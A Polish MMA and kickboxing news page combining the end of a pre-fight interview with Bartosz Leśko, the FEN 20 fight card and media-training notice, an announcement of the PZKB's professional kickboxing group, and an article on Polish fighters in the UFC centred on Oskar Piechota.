BL:Widziałem dwie, ale nie teraz, już wcześniej. Z Andrzejem Grzebykiem, bo oglądałem całę galę FEN 18 i z Pawłem Brandysem, gdyż też z nim walczyłem i analizowałem styl walki Brandysa. Co mogę o nim powiedzieć? To dobry zawodnik, ma sporo atutów, ale popełnia też błędy jak każdy z nas. Skupiam się na sobie, by zrealizować swój plan na walkę. Oczywiście, że zdaje sobie sprawę z powagi wyzwania, ale jestem spokojny. Wyjdę i wygram ten emocjonujący, czysto sportowy pojedynek.

Każdy tak mówi.

BL:Tak? To widzisz, niczym się nie wyróżnię. Czuję już lekkie emocje. Gdy zawodnik mówi, że nie czuje żadnych emocji i w ogóle się nie denerwuje, to oszukuje, bo to niemożliwe. Pewnie im bliżej walki, tym ekscytacja będzie większa, ale to wpłynie tylko na dobre w moim pojedynku.

Przygotowywałeś się do tej walki z Oskarem Piechotą, który efektownie wygrał podczas ostatniej gali UFC. To dobry znak.

BL:Zdecydowanie tak, bo widziałem w jaki sposób Oskar trenuje i jak dobrze jest przygotowany do walki. Naprawdę on z walki na walkę robi coraz większy progres i w ogóle nie byłem zaskoczony tym, co zobaczyłem podczas UFC.

Jaki jest plan na te ostatnie kilkanaście dni?

BL:W tym tygodniu jeszcze sparingi, a potem już łapanie świeżości i szybkości. Na dzień dzisiejszy jestem bardzo zadowolony z przepracowanego okresu i mam nadzieję, że tak też już zostanie.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1
  • Adrian Błeszyński VS Alan Kwieciński -77 kg K-1

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Media trening przed galą FEN 20

W sobotę, 24 lutego, o godzinie 22:00 w klubie Hulakula przy ulicy Jagiellońskiej 82B w Warszawie odbędzie się trening medialny przed galą Fight Exclusive Night 20 „Next Level”.

Będzie to znakomita okazja do porozmawiania z zawodnikami, którzy wezmą udział w tym wydarzeniu. Do dyspozycji przedstawicieli mediów będą Radosław Paczuski, Marian Ziółkowski, Arkadiusz Wrzosek, Marcin Naruszczka, Kamil Łebkowski, Marcin Szreder, Paweł Trybała, Tymoteusz Świątek i Alan Kwieciński. Od godziny 20:30 będzie czas na wywiady, a po ich zakończeniu, czyli od 22:00, przyjdzie czas na trening otwarty dla kibiców.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek +95 kg formuła K-1*
  • Anatolij Litwinow VS Andrzej Grzebyk – 84 kg
  • Tymoteusz Świątek VS Paweł Trybała -80 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • Daniel Torres VS Kamil Łebkowski -66 kg
  • Michał Tarabańka VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder +95 formuła K-1
  • Adrian Błeszyński VS Alan Kwieciński -77 kg K-1

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

PZKB: "Poland Professional Kickboxing Group"

Poland Professional Kickboxing Group jest nową komórką sportowo-szkoleniową powołaną przez Polski Związek Kickboxingu.

Priorytetowym celem działań tej grupy jest wsparcie szkoleniowo – sportowe oraz organizacyjne najwybitniejszych zawodników i trenerów Polskiego Związku Kickboxingu rywalizujących w walkach profesjonalnych. Sportowa działalność Poland Professional Kickboxing Group ukierunkowana będzie na szkolenia i ścisłą specjalizację w rywalizacji profesjonalnej wg. regulaminów walk ringowych (K-1 Rules, Low Kick, Full Contact).

Wszelkie działania i szkolenia grupa ta realizować będzie w pełnej synchronizacji z kalendarzem PZKB oraz programem organizacyjnym sportowego partnera związkowego – federacji zawodowej DSF Kickboxing Challenge.

Powstanie Poland Professional Kickboxing Group jest odpowiedzią na zapotrzebowanie wynikające z rozwoju i ekspansji polskiego zawodowego kickboxingu. Funkcjonowanie grupy powinno wzmocnić, wesprzeć i uzupełnić już funkcjonujące kierunki szkoleniowe kadr narodowych PZKB.

Patronat na działalnością Poland Professional Kickboxing Group objęli prezes PZKB Piotr Siegoczyński oraz v-ce prezes Andrzej Palacz. .

Kierownictwo szkoleniowo – organizacyjne nad grupą obejmie trener Tomasz Mamulski – tym samym będzie sprawował funkcję „Trenera Kadry Zawodowej Polskiego Związku Kickboxingu”.

Kierunek – na sam szczyt

Oskar Piechota potwierdził, że należy mu się miejsce w UFC. Polski zawodnik odniósł drugie zwycięstwo w amerykańskiej organizacji nokautując Tima Williamsa. Czy, a może wypada zapytać kiedy Piechota podbije wagę średnią?

Polscy kibice ściskali kciuki za kolejnych rodaków, którzy podpisywali kontrakty z organizacją UFC. Z wieloma wiązano ogromne nadzieje. Ale jak wiadomo skala przedsięwzięcia może paraliżować, a i trzeba się cały czas doskonalić, aby równać do najlepszych.

Świetnie w UFC zadebiutował, który w październiku 2014 roku w pierwszej rundzie rozbił Ilira Latifiego. Później przyszły gorsze dni dla Polaka, jednak ostatnio "John" wrócił na prostą i zanotował dwie wygrane z rzędu. Od porażki przygodę z UFC rozpoczął Krzysztof Jotko, ale kolejnych pięć walk padło jego łupem i pojawił się apetyt na walkę o pas. Następne dwa pojedynki Polak przegrał. W kwietniu Jotko stoczy ważną walkę z Bradem Tavaresem. Zwycięstwem z UFC przywitał się Daniel Omielańczuk. Następnie dwie porażki, trzy zwycięstwa i nadzieja na więcej, ale kolejne trzy przegrane zakończyły przygodę Polaka z amerykańską organizacją. Marcin Tybura na starcie przegrał, ale później zanotował trzy zwycięstwa. Teraz nie ma dobrej passy – dwie porażki.

W przypadku pań sytuacja wygląda zupełnie inaczej. Joanna Jędrzejczyk wygrała osiem pojedynków, zdobyła pas mistrzyni wagi koguciej i zatrzymała ją dopiero Rose Namajunas. Dobrze w UFC odnalazła się Karolina Kowalkiewicz. Kolejno odprawiła Randę Markos, Heather Clark i Rose Namajunas. Zatrzymała ją dopiero Jędrzejczyk, potem silniejsze okazała się Claudia Gadelha, ale Polka wróciła na zwycięską ścieżkę pokonując Jodie Esquibel.

Przykłady można mnożyć. Świetnie w Bellatorze radził sobie Marcin Held. Jego przejście do UFC było oczywiste, ale po trzech walkach pojawiły się obawy, że polski lekki szybko pożegna się z amerykańską organizacją. Brak szczęścia, niezrozumiały werdykt sędziów – sytuacja Helda mogła wyglądać inaczej, ale uratował się wygrywając z Nasratem Haqparastem. 26-latek wierzy, że będzie mógł sprawdzić się w kolejnej walce i pokazać swój potencjał. Niebawem w UFC zadebiutuje kolejny Polak – Marcin Prachnio. Pierwsze walki mają już za sobą Michał Oleksiejczuk i Adam Wieczorek, którzy dostarczyli radości polskim fanom wygrywając swoje starcia. Zatem – czekamy na więcej.

Mamy kilkunastoosobową armię wojowników w UFC. Jedni z większym, inni z mniejszym doświadczeniem. Start nie jest wyznacznikiem sukcesu. Pierwsza walka może różnie się ułożyć. Nawet zwycięstwo nie jest dokładnym weryfikatorem. Dopiero ten drugi pojedynek pokazuje, czy zawodnik mentalnie jest w stanie udźwignąć ciężar rywalizacji i odnajduje się sportowo w UFC. Oskar Piechota pokazał, że idealnie pasuje do amerykańskiej organizacji. Podczas gali UFC Fight Night 126 Polak znokautował w pierwszej rundzie Tima Williamsa. 11 zwycięstw na koncie Piechoty, w tym 10 przed czasem. To mówi samo za siebie. Nie można tego ukrywać – mamy w UFC zawodnika, którego sportowo stać na wiele. Piechota jest zdeterminowany i konsekwentny w tym, co robi. Ale najważniejsze, że ma świadomość celu, do którego dąży. – Kolejny krok za mną, cały czas jest to początek drogi ale kierunek jest jeden – na sam szczyt – napisał zawodnik po walce z Willamsem na swoim Facebooku.

Fot. Oskar Piechota Facebook

KM